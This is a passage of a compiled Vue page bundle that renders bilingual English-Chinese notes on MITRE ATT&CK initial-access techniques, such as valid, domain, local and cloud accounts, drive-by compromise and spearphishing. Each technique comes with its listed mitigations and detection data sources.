user account in AWS and the default service account in Kubernetes.",-1),il=e("p",null,"攻击者可能会获取并滥用默认帐户的凭据,以此作为获得初始访问权限、持久性、特权升级或防御规避的手段。默认帐户是操作系统内置的帐户,例如 Windows 系统上的来宾或管理员帐户。默认账户还包括其他类型的系统、软件或设备上的默认工厂/提供商设置账户,包括 AWS 中的根用户账户和 Kubernetes 中的默认服务账户。",-1),ll=e("hr",null,null,-1),hl=e("h4",{id:"缓解措施-14",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-14","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),cl={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},_l={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},dl=e("p",null,"使用默认用户名和密码的应用程序和设备应在安装后和部署到生产环境之前立即更改。",-1),pl=e("hr",null,null,-1),ul=e("h4",{id:"检测-14",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-14","aria-hidden":"true"},"#"),t(" 检测")],-1),gl={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},fl={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},ml={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Creation",target:"_blank",rel:"noopener noreferrer"},kl=e("p",null,"监视已激活或登录的默认帐户的新建登录行为。这些审计还应包括检查任何设备和应用程序的默认凭据或 SSH 密钥,如果发现任何问题,应立即更新。",-1),bl={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Sl={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Ml={href:"https://attack.mitre.org/datasources/DS0002/#User%20Account%20Authentication",target:"_blank",rel:"noopener noreferrer"},Dl=e("p",null,"通常通过提供凭据来监视用户是否尝试访问网络或计算资源",-1),wl=e("hr",null,null,-1),vl=e("h3",{id:"t1078-002-domain-accounts-域账户",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#t1078-002-domain-accounts-域账户","aria-hidden":"true"},"#"),t(" T1078.002 Domain Accounts 域账户")],-1),Al=e("p",null,"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.",-1),yl=e("p",null,"攻击者可能会获取并滥用域帐户的凭据,以此作为获得初始访问权限、持久性、特权升级或防御规避的手段。域帐户是由 Active Directory 域服务管理的帐户,其中访问和权限是跨属于该域的系统和服务配置的。域帐户可以涵盖用户、管理员和服务。",-1),Cl=e("hr",null,null,-1),Tl=e("h4",{id:"缓解措施-15",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-15","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),xl={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},Ll={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},Nl=e("p",null,"将多因素身份验证 (MFA) 集成为组织策略的一部分可以大大降低对手获得有效凭据控制的风险,这些凭据可用于其他策略,例如初始访问、横向移动和收集信息。 MFA 还可用于限制对云资源和 API 的访问。",-1),Pl={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},Fl={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},Il=e("p",null,"定期审核域帐户权限级别,以查找可能允许对手通过获取特权帐户的凭据来获得广泛访问权限的情况。不要将用户或管理域帐户放在跨系统的本地管理员组中,除非它们受到严格控制并且帐户的使用是分段的,因为这通常等同于在所有系统上拥有一个具有相同密码的本地管理员帐户。遵循企业网络设计和管理的最佳实践,以限制跨管理层的特权帐户使用。限制跨系统的凭据重叠,以防止在获得帐户凭据时进行访问。",-1),El={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},Ul={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},Wl=e("p",null,"应用程序可以发送推送通知来验证登录,作为一种多因素身份验证 (MFA) 的形式。培训用户只接受有效的推送通知并报告可疑的推送通知。",-1),ql=e("hr",null,null,-1),Bl=e("h4",{id:"检测-15",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-15","aria-hidden":"true"},"#"),t(" 检测")],-1),Rl={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},Vl={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},Hl={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Creation",target:"_blank",rel:"noopener noreferrer"},Ol=e("p",null,"跨共享帐户(用户、管理员或服务帐户)的系统监视可疑帐户行为。",-1),Kl=e("p",null,"示例:",-1),Xl=e("ul",null,[e("li",null,"一个账号同时登录多个系统;"),e("li",null,"多个帐户同时登录同一台机器;"),e("li",null,"在非正常时间或营业时间以外登录的帐户。")],-1),zl=e("p",null,"活动可能来自交互式登录会话或进程所有权,来自用于作为特定帐户在远程系统上执行二进制文件的帐户。",-1),Gl={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Metadata",target:"_blank",rel:"noopener noreferrer"},jl=e("p",null,"将其他安全系统与登录信息相关联(例如,用户有一个活动的登录会话但没有 VPN 访问权限)。",-1),Jl={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Ql={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Yl={href:"https://attack.mitre.org/datasources/DS0002/#User%20Account%20Authentication",target:"_blank",rel:"noopener noreferrer"},Zl=e("p",null,"监视用户访问网络或计算资源的尝试,通常是通过使用域身份验证服务,例如 Linux 上的系统安全服务守护进程 (sssd)",-1),$l=e("hr",null,null,-1),eh={id:"t1078-003-local-accounts-本地账户",tabindex:"-1"},th=e("a",{class:"header-anchor",href:"#t1078-003-local-accounts-本地账户","aria-hidden":"true"},"#",-1),rh={href:"https://attack.mitre.org/techniques/T1078/003",target:"_blank",rel:"noopener noreferrer"},oh=e("p",null,"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. 攻击者可能会获取和滥用本地帐户的凭据,以此作为获得初始访问权限、持久性、特权升级或防御规避的手段。本地帐户是由组织配置的,供用户、远程支持、服务使用,或用于单个系统或服务的管理。",-1),nh=e("hr",null,null,-1),ah=e("h4",{id:"缓解措施-16",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-16","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),sh={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},ih={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},lh=e("p",null,"确保本地管理员帐户在网络上的所有系统中都具有复杂、唯一的密码。",-1),hh={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},ch={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},_h=e("p",null,"定期审核本地帐户权限级别,以查找可能允许对手通过获取特权帐户的凭据来获得广泛访问权限的情况。",-1),dh=e("p",null,"这些审计应检查是否创建了未经授权的新本地帐户。实施 LAPS 可能有助于防止在域中重复使用本地管理员凭据",-1),ph=e("hr",null,null,-1),uh=e("h4",{id:"检测-16",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-16","aria-hidden":"true"},"#"),t(" 检测")],-1),gh={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},fh={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},mh={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Creation",target:"_blank",rel:"noopener noreferrer"},kh=e("p",null,"跨共享帐户(用户、管理员或服务帐户)的系统监视可疑帐户行为。示例:一个账号同时登录多个系统;多个帐户同时登录同一台机器;在非正常时间或营业时间以外登录的帐户。活动可能来自交互式登录会话或进程所有权,来自用于作为特定帐户在远程系统上执行二进制文件的帐户。",-1),bh={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Metadata",target:"_blank",rel:"noopener noreferrer"},Sh=e("p",null,"将其他安全系统与登录信息相关联(例如,用户有一个活动的登录会话但没有 VPN 访问权限)。",-1),Mh={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Dh={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},wh={href:"https://attack.mitre.org/datasources/DS0002/#User%20Account%20Authentication",target:"_blank",rel:"noopener noreferrer"},vh=e("p",null,"监视用户访问网络或计算资源的尝试,通常是通过使用域身份验证服务,例如 Linux 上的系统安全服务守护进程 (sssd)",-1),Ah=e("hr",null,null,-1),yh={id:"t1078-004-cloud-accounts-云账户",tabindex:"-1"},Ch=e("a",{class:"header-anchor",href:"#t1078-004-cloud-accounts-云账户","aria-hidden":"true"},"#",-1),Th={href:"https://attack.mitre.org/techniques/T1078/004",target:"_blank",rel:"noopener noreferrer"},xh=e("p",null,"Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.",-1),Lh=e("p",null,"攻击者可能会获取和滥用云帐户的凭据,以此作为获得初始访问权限、持久性、特权升级或防御规避的手段。云帐户是由组织创建和配置的帐户,供用户、远程支持、服务使用,或用于管理云服务提供商或 SaaS 应用程序中的资源。在某些情况下,云帐户可能与传统的身份管理系统联合,例如 Window Active Directory。",-1),Nh=e("hr",null,null,-1),Ph=e("h4",{id:"缓解措施-17",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-17","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),Fh={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},Ih={href:"https://attack.mitre.org/mitigations/M1032",target:"_blank",rel:"noopener noreferrer"},Eh=e("p",null,"对云帐户使用多重身份验证,尤其是特权帐户。这可以通过多种形式(例如硬件、虚拟、SMS)实现,也可以使用管理报告功能进行审计。",-1),Uh={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},Wh={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},qh=e("p",null,"确保云帐户,尤其是特权帐户,在网络上的所有系统中都具有复杂、唯一的密码。密码和访问密钥应定期轮换。如果凭据在您不知情的情况下遭到破坏,这会限制凭据可用于访问资源的时间。云服务提供商可能会跟踪访问密钥年龄,以帮助审核和识别可能需要轮换的密钥。",-1),Bh={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},Rh={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},Vh=e("p",null,"定期审查特权云帐户权限级别,以寻找可能允许对手获得广泛访问权限的权限级别。",-1),Hh=e("p",null,"这些审查还应该检查是否创建了未经授权的新特权云帐户。",-1),Oh={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Kh={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Xh=e("p",null,"定期审查用户帐户并删除那些不活跃或不需要的帐户。限制用户帐户创建其他帐户的能力。",-1),zh={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},Gh={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},jh=e("p",null,"应用程序可以发送推送通知来验证登录,作为一种多因素身份验证 (MFA) 的形式。培训用户只接受有效的推送通知并报告可疑的推送通知。",-1),Jh=e("hr",null,null,-1),Qh=e("h4",{id:"检测-17",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-17","aria-hidden":"true"},"#"),t(" 检测")],-1),Yh={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},Zh={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},$h={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Creation",target:"_blank",rel:"noopener noreferrer"},ec=e("p",null,"跨共享帐户的云服务监视可疑帐户行为。",-1),tc={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Metadata",target:"_blank",rel:"noopener noreferrer"},rc=e("p",null,"将其他安全系统与登录信息相关联(例如,用户有一个活动的登录会话但没有 VPN 访问权限)。",-1),oc={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},nc={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},ac={href:"https://attack.mitre.org/datasources/DS0002/#User%20Account%20Authentication",target:"_blank",rel:"noopener noreferrer"},sc=e("p",null,"监控云帐户的活动以检测异常或恶意行为,例如访问帐户正常功能之外的信息或在非典型时间使用帐户。",-1),ic=e("hr",null,null,-1),lc=e("h3",{id:"缓解措施-18",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#缓解措施-18","aria-hidden":"true"},"#"),t(" 缓解措施")],-1),hc={href:"https://attack.mitre.org/mitigations/M1013",target:"_blank",rel:"noopener noreferrer"},cc={href:"https://attack.mitre.org/mitigations/M1013",target:"_blank",rel:"noopener noreferrer"},_c=e("p",null,"确保应用程序不会不安全地存储敏感数据或凭据。 (例如,代码中的明文凭据、存储库中的已发布凭据或公共云存储中的凭据)。",-1),dc={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},pc={href:"https://attack.mitre.org/mitigations/M1027",target:"_blank",rel:"noopener noreferrer"},uc=e("p",null,"使用默认用户名和密码的应用程序和设备应在安装后和部署到生产环境之前立即更改",-1),gc=e("p",null,"如果可能,应定期更新使用 SSH 密钥的应用程序并妥善保护。",-1),fc={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},mc={href:"https://attack.mitre.org/mitigations/M1026",target:"_blank",rel:"noopener noreferrer"},kc=e("p",null,"定期审核域和本地帐户及其权限级别,以查找可能允许对手通过获取特权帐户的凭据来获得广泛访问权限的情况。",-1),bc=e("p",null,"这些审计还应该包括是否启用了默认帐户,或者是否创建了未经授权的新本地帐户。遵循企业网络设计和管理的最佳实践,以限制跨管理层的特权帐户使用。",-1),Sc={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Mc={href:"https://attack.mitre.org/mitigations/M1018",target:"_blank",rel:"noopener noreferrer"},Dc=e("p",null,"定期审核用户帐户的活动并停用或删除不再需要的帐户。",-1),wc={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},vc={href:"https://attack.mitre.org/mitigations/M1017",target:"_blank",rel:"noopener noreferrer"},Ac=e("p",null,"应用程序可以发送推送通知来验证登录,作为一种多因素身份验证 (MFA) 的形式。培训用户只接受有效的推送通知并报告可疑的推送通知。",-1),yc=e("hr",null,null,-1),Cc=e("h3",{id:"检测-18",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#检测-18","aria-hidden":"true"},"#"),t(" 检测")],-1),Tc={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},xc={href:"https://attack.mitre.org/datasources/DS0028",target:"_blank",rel:"noopener noreferrer"},Lc={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Creation",target:"_blank",rel:"noopener noreferrer"},Nc=e("p",null,"监控新构造的登录行为,这些行为可能获取和滥用现有帐户的凭据作为获得初始访问、持久性、特权升级或防御规避的手段。将其他安全系统与登录信息相关联(例如,用户有一个活动的登录会话但尚未进入建筑物或没有 VPN 访问权限)。",-1),Pc={href:"https://attack.mitre.org/datasources/DS0028/#Logon%20Session%20Metadata",target:"_blank",rel:"noopener noreferrer"},Fc=e("p",null,"在共享帐户(用户、管理员或服务帐户)的系统中查找可疑帐户行为。",-1),Ic=e("p",null,"示例:一个账号同时登录多个系统;多个帐户同时登录同一台机器;在非正常时间或营业时间以外登录的帐户。活动可能来自交互式登录会话或进程所有权,来自用于作为特定帐户在远程系统上执行二进制文件的帐户。",-1),Ec={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Uc={href:"https://attack.mitre.org/datasources/DS0002",target:"_blank",rel:"noopener noreferrer"},Wc={href:"https://attack.mitre.org/datasources/DS0002/#User%20Account%20Authentication",target:"_blank",rel:"noopener noreferrer"},qc=e("p",null,"监视用户可能获取和滥用现有帐户的凭据作为获得初始访问、持久性、特权升级或防御规避的手段的尝试。",-1),Bc=e("hr",null,null,-1);function Rc(Vc,Hc){const r=a("ExternalLinkIcon");return s(),i("div",null,[c,e("blockquote",null,[e("p",null,[e("a",_,[t("Initial Access, Tactic TA0001 - Enterprise | MITRE ATT&CK® --- 初始访问,战术 TA0001 - 企业 | MITRE ATT&CK®"),o(r)])]),e("p",null,[e("a",d,[t("Dm2333/ATTCK-PenTester-Book: ATTCK-PenTester-Book "),o(r)])])]),p,u,g,f,m,k,b,e("h2",S,[M,t(" T1189 "),e("a",D,[t("Drive-by Compromise"),o(r)]),t(" 水坑攻击")]),e("p",null,[t("Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring "),e("a",w,[t("Application Access Token"),o(r)]),t(".")]),v,e("ul",null,[e("li",null,[e("p",null,[e("a",A,[t("M1048"),o(r)]),t(),e("a",y,[t("Application Isolation and Sandboxing - 应用程序隔离和沙盒"),o(r)])]),C,T]),e("li",null,[e("p",null,[e("a",x,[t("M1050"),o(r)]),t(),e("a",L,[t("Exploit Protection - 漏洞利用保护"),o(r)])]),N,P,F]),e("li",null,[e("p",null,[e("a",I,[t("M1021"),o(r)]),t(),e("a",E,[t("Restrict Web-Based Content - 限制基于 Web 的内容"),o(r)])]),U,W]),e("li",null,[e("p",null,[e("a",q,[t("M1051"),o(r)]),t(),e("a",B,[t("Update Software - 升级软件"),o(r)])]),R])]),V,H,e("ul",null,[e("li",null,[e("p",null,[e("a",O,[t("DS0015"),o(r)]),t(),e("a",K,[t(" Application Log"),o(r)]),t(),e("a",X,[t("应用程序日志内容"),o(r)])]),z]),e("li",null,[e("p",null,[e("a",G,[t("DS0022"),o(r)]),t(),e("a",j,[t("File"),o(r)]),t(),e("a",J,[t("File Creation"),o(r)])]),Q]),e("li",null,[e("p",null,[e("a",Y,[t("DS0029"),o(r)]),t(),e("a",Z,[t("Network Traffic"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",$,[t("Network Connection Creation - 网络连接创建"),o(r)])]),ee]),e("li",null,[e("p",null,[e("a",te,[t("Network Traffic Content - 网络流量内容"),o(r)])]),re])])]),e("li",null,[e("p",null,[e("a",oe,[t("DS0009"),o(r)]),t(),e("a",ne,[t("Process"),o(r)]),t(),e("a",ae,[t("Process Creation"),o(r)])]),se])]),ie,le,e("p",null,[t("Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services. Depending on the flaw being exploited this may include "),e("a",he,[t("Exploitation for Defense Evasion"),o(r)]),t(".")]),ce,_e,de,pe,ue,ge,e("ul",null,[e("li",null,[e("p",null,[e("a",fe,[t("M1048"),o(r)]),t(),e("a",me,[t(" Application Isolation and Sandboxing - 应用程序隔离和沙盒"),o(r)])]),ke]),e("li",null,[e("p",null,[e("a",be,[t("M1050"),o(r)]),t(),e("a",Se,[t("Exploit Protection - 漏洞利用保护"),o(r)])]),Me]),e("li",null,[e("p",null,[e("a",De,[t("M1030"),o(r)]),t(),e("a",we,[t("Network Segmentation - 网络分割"),o(r)])]),ve]),e("li",null,[e("p",null,[e("a",Ae,[t("M1026"),o(r)]),t(),e("a",ye,[t(" Privileged Account Management - 特权账户管理"),o(r)])]),Ce]),e("li",null,[e("p",null,[e("a",Te,[t("M1051"),o(r)]),t(),e("a",xe,[t(" Update Software - 更新软件"),o(r)])]),Le]),e("li",null,[e("p",null,[e("a",Ne,[t("M1016"),o(r)]),t(),e("a",Pe,[t("Vulnerability Scanning 漏洞扫描"),o(r)])]),Fe])]),Ie,Ee,e("ul",null,[e("li",null,[e("p",null,[e("a",Ue,[t("DS0015"),o(r)]),t(),e("a",We,[t("Application Log"),o(r)]),t(),e("a",qe,[t("Application Log Content - 应用程序日志内容"),o(r)])]),Be]),e("li",null,[e("p",null,[e("a",Re,[t("DS0029"),o(r)]),t(),e("a",Ve,[t("Network Traffic"),o(r)]),t(),e("a",He,[t("Network Traffic Content - 网络流量内容"),o(r)])]),Oe])]),Ke,Xe,e("p",null,[t("Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as "),e("a",ze,[t("Windows Remote Management"),o(r)]),t(" and "),e("a",Ge,[t("VNC"),o(r)]),t(" can also be used externally.")]),je,Je,Qe,Ye,Ze,e("ul",null,[e("li",null,[e("p",null,[e("a",$e,[t("M1042"),o(r)]),t(),e("a",et,[t(" Disable or Remove Feature or Program - 禁用或删除功能或程序"),o(r)])]),tt]),e("li",null,[e("p",null,[e("a",rt,[t("M1035"),o(r)]),t(),e("a",ot,[t(" Limit Access to Resource Over Network - 限制对网络资源的访问"),o(r)])]),nt]),e("li",null,[e("p",null,[e("a",at,[t("M1032"),o(r)]),t(),e("a",st,[t(" Multi-factor Authentication - 多重身份验证"),o(r)])]),it]),e("li",null,[e("p",null,[e("a",lt,[t("M1030"),o(r)]),t(),e("a",ht,[t("Network Segmentation - 网络分割"),o(r)])]),ct])]),_t,dt,e("ul",null,[e("li",null,[e("p",null,[e("a",pt,[t("DS0015"),o(r)]),t(),e("a",ut,[t("Application Log"),o(r)]),t(),e("a",gt,[t("Application Log Content - 应用程序日志内容"),o(r)])]),ft]),e("li",null,[e("p",null,[e("a",mt,[t("DS0028"),o(r)]),t(),e("a",kt,[t(" Logon Session"),o(r)]),t(),e("a",bt,[t(" Logon Session Metadata - 登录会话元数据"),o(r)])]),St]),e("li",null,[e("p",null,[e("a",Mt,[t("DS0029"),o(r)]),t(),e("a",Dt,[t("Network Traffic"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",wt,[t("Network Connection Creation - 网络连接创建"),o(r)])]),vt]),e("li",null,[e("p",null,[e("a",At,[t("Network Traffic Content - 网络流量内容"),o(r)])]),yt]),e("li",null,[e("p",null,[e("a",Ct,[t("Network Traffic Flow - 网络流量"),o(r)])]),Tt])])])]),xt,Lt,e("p",null,[t("Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. "),e("a",Nt,[t("Replication Through Removable Media"),o(r)]),t("), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.")]),Pt,Ft,It,Et,e("h3",Ut,[Wt,t(),e("a",qt,[t("通过一根数据线控制你的 mac"),o(r)])]),Bt,Rt,e("ul",null,[e("li",null,[e("a",Vt,[t("能远程控制你电脑的苹果充电线正在生产和售卖,走一个? (qq.com)"),o(r)])]),e("li",null,[e("a",Ht,[t("O-MG/DemonSeed (github.com)"),o(r)])])]),Ot,Kt,e("ul",null,[e("li",null,[e("p",null,[e("a",Xt,[t("M1035"),o(r)]),t(),e("a",zt,[t(" Limit Access to Resource Over Network - 限制对网络资源的访问"),o(r)]),t("\\")]),Gt]),e("li",null,[e("p",null,[e("a",jt,[t("M1034"),o(r)]),t(),e("a",Jt,[t(" Limit Hardware Installation - 限制硬件安装"),o(r)])]),Qt])]),Yt,Zt,e("ul",null,[e("li",null,[e("p",null,[e("a",$t,[t("DS0015"),o(r)]),t(),e("a",er,[t(" Application Log"),o(r)]),t(),e("a",tr,[t(" Application Log Content 应用程序日志内容"),o(r)])]),rr]),e("li",null,[e("p",null,[e("a",or,[t("DS0016"),o(r)]),t(),e("a",nr,[t("Drive"),o(r)]),t(),e("a",ar,[t("Drive Creation"),o(r)])]),sr]),e("li",null,[e("p",null,[e("a",ir,[t("DS0029"),o(r)]),t(),e("a",lr,[t("Network Traffic"),o(r)]),t(),e("a",hr,[t("Network Traffic Flow - 网络流量"),o(r)])]),cr])]),_r,dr,pr,ur,gr,fr,e("p",null,[t("Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon "),e("a",mr,[t("User Execution"),o(r)]),t(" to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.")]),kr,br,Sr,Mr,Dr,wr,e("ul",null,[e("li",null,[e("p",null,[e("a",vr,[t("M1049"),o(r)]),t(),e("a",Ar,[t("Antivirus/Antimalware - 防病毒/反恶意软件"),o(r)])]),yr]),e("li",null,[e("p",null,[e("a",Cr,[t("M1031"),o(r)]),t(),e("a",Tr,[t(" Network Intrusion Prevention - 网络入侵防御"),o(r)])]),xr]),e("li",null,[e("p",null,[e("a",Lr,[t("M1021"),o(r)]),t(),e("a",Nr,[t(" Restrict Web-Based Content - 限制基于 Web 的内容"),o(r)])]),Pr]),e("li",null,[e("p",null,[e("a",Fr,[t("M1054"),o(r)]),t(),e("a",Ir,[t("Software Configuration - 软件配置"),o(r)])]),Er]),e("li",null,[e("p",null,[e("a",Ur,[t("M1017"),o(r)]),t(),e("a",Wr,[t("User Training"),o(r)])]),qr])]),Br,Rr,e("ul",null,[e("li",null,[e("p",null,[e("a",Vr,[t("DS0015"),o(r)]),t(),e("a",Hr,[t("Application Log"),o(r)]),t(),e("a",Or,[t("Application Log Content - 应用程序日志内容"),o(r)])]),Kr,Xr]),e("li",null,[e("p",null,[e("a",zr,[t("DS0022"),o(r)]),t(),e("a",Gr,[t("File"),o(r)]),t(),e("a",jr,[t("File Creation"),o(r)])]),Jr]),e("li",null,[e("p",null,[e("a",Qr,[t("DS0029"),o(r)]),t(),e("a",Yr,[t("Network Traffic"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",Zr,[t("Network Traffic Content - 网络流量内容"),o(r)])]),$r]),e("li",null,[e("p",null,[e("a",eo,[t("Network Traffic Flow - 网络流量"),o(r)])]),to])])])]),ro,oo,no,ao,so,io,lo,e("ul",null,[e("li",null,[e("p",null,[e("a",ho,[t("M1047"),o(r)]),t(),e("a",co,[t("Audit"),o(r)])]),_o]),e("li",null,[e("p",null,[e("a",po,[t("M1021"),o(r)]),t(),e("a",uo,[t(" Restrict Web-Based Content - 限制基于 Web 的内容"),o(r)])]),go]),e("li",null,[e("p",null,[e("a",fo,[t("M1054"),o(r)]),t(),e("a",mo,[t(" Software Configuration - 软件配置"),o(r)])]),ko,bo]),e("li",null,[e("p",null,[e("a",So,[t("M1018"),o(r)]),t(),e("a",Mo,[t(" User Account Management - 用户账户管理"),o(r)])]),Do]),e("li",null,[e("p",null,[e("a",wo,[t("M1017"),o(r)]),t(),e("a",vo,[t(" User Training "),o(r)])]),Ao])]),yo,Co,e("ul",null,[e("li",null,[e("p",null,[e("a",To,[t("DS0015"),o(r)]),t(),e("a",xo,[t("Application Log"),o(r)]),t(),e("a",Lo,[t("Application Log Content - 应用程序日志内容"),o(r)])]),No]),e("li",null,[e("p",null,[e("a",Po,[t("DS0029"),o(r)]),t(),e("a",Fo,[t("Network Traffic"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",Io,[t(" Network Traffic Content 网络流量内容"),o(r)])]),Eo,Uo]),e("li",null,[e("p",null,[e("a",Wo,[t("Network Traffic Flow - 网络流量"),o(r)])]),qo])])])]),Bo,e("h3",Ro,[Vo,t(" T1566.003 "),e("a",Ho,[t("Spearphishing via Service"),o(r)]),t(" 通过服务器进行鱼叉式网络钓鱼")]),Oo,Ko,Xo,zo,Go,jo,e("ul",null,[e("li",null,[e("p",null,[e("a",Jo,[t("M1049"),o(r)]),t(),e("a",Qo,[t("Antivirus/Antimalware 防病毒/反恶意软件"),o(r)])]),Yo]),e("li",null,[e("p",null,[e("a",Zo,[t("M1021"),o(r)]),t(),e("a",$o,[t(" Restrict Web-Based Content - 限制基于 Web 的内容"),o(r)])]),en]),e("li",null,[e("p",null,[e("a",tn,[t("M1017"),o(r)]),t(),e("a",rn,[t("User Training"),o(r)])]),on])]),nn,an,e("ul",null,[e("li",null,[e("p",null,[e("a",sn,[t("DS0015"),o(r)]),t(),e("a",ln,[t("Application Log"),o(r)]),t(),e("a",hn,[t("Application Log Content - 应用程序日志内容"),o(r)])]),cn]),e("li",null,[e("p",null,[e("a",_n,[t("DS0029"),o(r)]),t(),e("a",dn,[t("Network Traffic"),o(r)])]),e("ul",null,[e("li",null,[e("p",null,[e("a",pn,[t("Network Traffic Content - 网络流量内容"),o(r)])]),un]),e("li",null,[e("p",null,[e("a",gn,[t("Network Traffic Flow - 